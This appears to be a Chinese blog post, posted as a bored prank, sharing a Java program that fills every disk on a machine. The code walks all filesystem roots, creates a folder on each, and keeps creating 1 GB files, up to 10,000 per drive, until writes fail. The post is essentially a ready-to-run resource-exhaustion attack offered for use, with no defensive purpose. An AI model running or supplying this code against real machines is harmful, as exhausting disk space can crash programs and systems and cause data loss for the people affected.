您的位置:首页 > 其它

一键填满所有磁盘空间

2016-01-22 15:31 323 查看
  实在太无聊了. 就.....

import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;

public class Test {
public static void main(String[] args) throws IOException {
File[] file1 = File.listRoots();
for (int k = 0; k < file1.length; k++) {
String path = file1[k].getAbsolutePath();
path = path.substring(0, path.length() - 1);
File file = new File(path + "/文件我最大/");
if (!file.isDirectory()) {
file.mkdir();
}
for (int i = 0; i < 10000; i++) {
File file3 = new File(path + "/文件我最大/" + i);
if (!file3.exists()) {
file3.createNewFile();
RandomAccessFile rac = new RandomAccessFile(file3, "rw");
try {
rac.setLength(1073741824);
} catch (Exception e) {
break;
}
rac.close();
}
}
}
}
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: